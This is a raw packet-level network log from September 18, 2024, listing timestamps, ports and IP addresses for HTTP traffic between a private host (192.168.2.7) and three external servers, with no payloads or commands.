Sep 18, 2024 14:30:08.427887917 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427890062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427901983 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427917004 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427917004 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427923918 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427937031 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427947998 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427958012 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427958012 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427963018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427982092 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427995920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.428006887 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.428006887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428019047 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.428020000 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428034067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.428039074 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.428045034 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428049088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.428062916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.428066015 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428066015 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428073883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.428086042 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.428092957 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428106070 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428117037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428117990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.428131104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428142071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428147078 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428154945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428170919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428184986 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428214073 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428225040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428237915 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428250074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428276062 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428276062 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428297043 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428301096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428314924 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428327084 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428353071 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428353071 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428432941 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428643942 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428657055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428669930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428719044 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428720951 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428720951 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428735018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428749084 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428755999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428761959 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428775072 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428776026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428792000 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428818941 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428828001 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428847075 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428889990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428927898 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.428950071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428963900 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428975105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428987980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.428996086 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429016113 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429023981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429038048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429040909 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429064989 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429080963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429083109 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429094076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429105997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429117918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429119110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429136992 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429152012 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429162025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429174900 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429187059 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429198980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429199934 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429209948 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429238081 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429267883 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429267883 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429282904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429295063 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429315090 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429326057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429338932 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429348946 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429348946 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429404974 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429584980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429598093 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429610014 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429622889 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429640055 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429666042 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429864883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429919958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.429955006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429965973 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429977894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.429991961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430000067 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430005074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430016041 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430017948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430030107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430032015 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430051088 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430075884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430845976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430859089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430880070 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430896997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430898905 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430908918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430921078 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430922031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430939913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430944920 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430952072 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430963993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430968046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.430975914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430989981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.430993080 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431000948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431013107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431020975 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431024075 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431035995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431036949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431062937 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431087017 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431298971 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431310892 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431322098 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431356907 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431405067 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431474924 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431488037 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431509018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431519985 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431535006 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431540966 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431549072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431561947 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431572914 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431572914 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431603909 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431606054 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431618929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431632996 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431644917 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431657076 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431663990 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431663990 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431669950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.431695938 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.431718111 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432367086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432379961 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432391882 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432423115 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432435036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432446003 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432451963 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432451963 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432460070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432509899 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432512999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432512999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432524920 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432537079 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432549000 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432559967 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432569027 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432569981 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432575941 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.432619095 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.432619095 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.433460951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433474064 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433485031 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433506012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433517933 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433521986 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.433531046 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433542967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.433551073 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433564901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433577061 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.433578014 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.433578014 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.433629990 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.434000969 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.434014082 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.434057951 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.461103916 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461318016 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461333990 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461345911 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461348057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.461384058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461385965 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.461405993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461419106 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461419106 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.461433887 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461446047 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461447954 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.461457968 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461469889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.461473942 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.461510897 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503155947 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503175020 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503186941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503278971 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503302097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503314972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503328085 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503345013 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503377914 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503492117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503505945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503516912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503536940 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503544092 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503547907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503561974 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503573895 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503601074 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503722906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503736019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503747940 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503768921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503782988 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503901005 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503915071 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.503940105 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.503966093 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.504070997 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.504110098 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.509210110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509229898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509243965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509284973 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509314060 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509342909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509356022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509368896 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509377956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509398937 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509417057 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509520054 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509532928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509546995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509560108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509567976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509576082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509588003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509601116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509608984 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509629011 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509649038 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509649992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509670019 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509681940 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509684086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509695053 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509706974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509706974 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509722948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509744883 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509823084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509838104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509849072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509860992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509871960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.509879112 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509896040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509912968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.509996891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510009050 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510023117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510030985 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510035992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510047913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510077953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510153055 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510169983 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510181904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510195971 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510195971 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510209084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510221004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510221958 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510235071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510261059 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510278940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510314941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510328054 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510339975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510350943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510354996 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510364056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510375023 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510380030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510387897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510401011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510411978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510411978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510427952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510432959 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510448933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510449886 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510463953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510473967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.510474920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.510485888 CEST	80	49705	103.130.147.211	192.168.2.7
